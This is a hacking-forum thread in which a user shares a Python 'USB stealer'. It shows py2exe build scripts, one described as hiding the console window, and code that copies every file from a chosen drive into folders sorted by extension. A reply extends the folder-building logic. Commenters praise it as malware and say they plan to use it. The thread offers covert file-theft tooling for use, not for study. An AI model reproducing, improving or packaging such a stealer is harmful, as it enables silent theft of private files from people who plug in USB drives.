Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Python 

USB Stealer Source

Hi guys This is a USB stealer I made in python and some of the HF users helped me with this

stealer.pyw source http://pastebin.com/jyLW5K6M

setup.py source http://pastebin.com/af5MM6Q4

generated settings.txt file:
Spoiler (Click to View)

to make a single exe from one py or pyw use py2exe on 32bit windows with this py2exe.py file

setup.py
Code
from distutils.core import setup
import py2exe

setup(
    console=['setup.py'],
    options={'py2exe': {'bundle_files': 1}},
    zipfile = None
)

stealer.pyw (this will hide the CMD window on the final exe)

Code
from distutils.core import setup
import py2exe

setup(
    windows=['stealer.pyw'],
    options={'py2exe': {'bundle_files': 1}},
    zipfile = None
)

BIG THANKS TO THESE USERS
Max00355
JrMn
The Unknown
r0cket
Netloot.in


I was trying to post it to the hacking tools but only l33t and ub3rs can post there.

So I posted it on Beginner Hacking section and it got deleted :D

Image used Spoiler (Click to View)
Thanks for this man, good tool that I will make use of soon.
I have just started python recently and i only know the basics and this doesn't make any sense to me :/
Does this script only work on windows?
(Oct 25, 2012 03:56 PM)Zetas Wrote:  Does this script only work on windows?

Hm, good question I think this can work on linux and mac os too. but you will have to edit the 159, 166. line and some more.
Do you really need that many if statements?..
[Image: xyaO7.png]
(Oct 25, 2012 09:00 PM)yungdsl Wrote:  Do you really need that many if statements?..

yes I needed it, note this was my first real project I dont really know how I finished it :D
Code
import os
from shutil import copy
Drive=raw_input('What Drive? -->')
path = Drive+':\\'
listing = os.listdir(path)
for filen in listing:
    for i in range(len(filen)):
  if filen[i]=='.':
    break
    if i ==len(filen)-1:
  i=i+1
    extension=filen[i:]

    if  extension=='':
  print 'Copied The Directory \''+filen+'\' To Directories Folder.'
  copyfile(path+filen, '.\\'+filen )
    else:
  extension=" ".join(extension.split('.')) #to handle occurences where two .'s occur
  print 'Copied The File \''+filen+'\' To \'\\'+extension+'\\\'.'
  if not os.path.exists('.\\'+extension):
    os.makedirs('.\\'+extension)
  copyfile(path+filen, '.\\'+extension+'\\'+filen)
Thanks for sharing the source code sir, this is what i want :)
Great malware !
This is very nice dude, especially for a first release.
it's work perfect 100 % in my PC. win 7 sir :blakhat:
You might want to read up on loops, and program flow in general. A LOT of this can be optimized, as I did with this block that checks and creates the directories (there's still room for renovation):

Code
fileExtensions = ['txt', 'pdf', 'log', 'doc', 'docx', ] # and on and on...

def createDirectory(directory):
    if not os.path.exists(directory):
        os.makedirs(directory)

[createDirectory(os.getcwd() + "/SLD/" + getpass.getuser() + "/" + extension) for extension in fileExtensions]

# with map method:
# map(lambda extension: createDirectory(extension), fileExtensions)
Simple but very useful, but I guess the code could of been better.
Thanks bro , that is my help hahaha !
Nice work dude!
Keep it up!

Greetings


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Python] by YoloFroggyNov 7, 2018 06:50 PM 1 154 Nov 7, 2018 06:50 PM
Last Post: mycatisadog
[Shell] by olihOct 19, 2018 02:06 PM 3 390 Oct 19, 2018 02:06 PM
Last Post: Percyville
[Shell] by Sphere of MadnessJul 29, 2017 03:33 AM 7 462 Jul 29, 2017 03:33 AM
Last Post: Sphere of Madness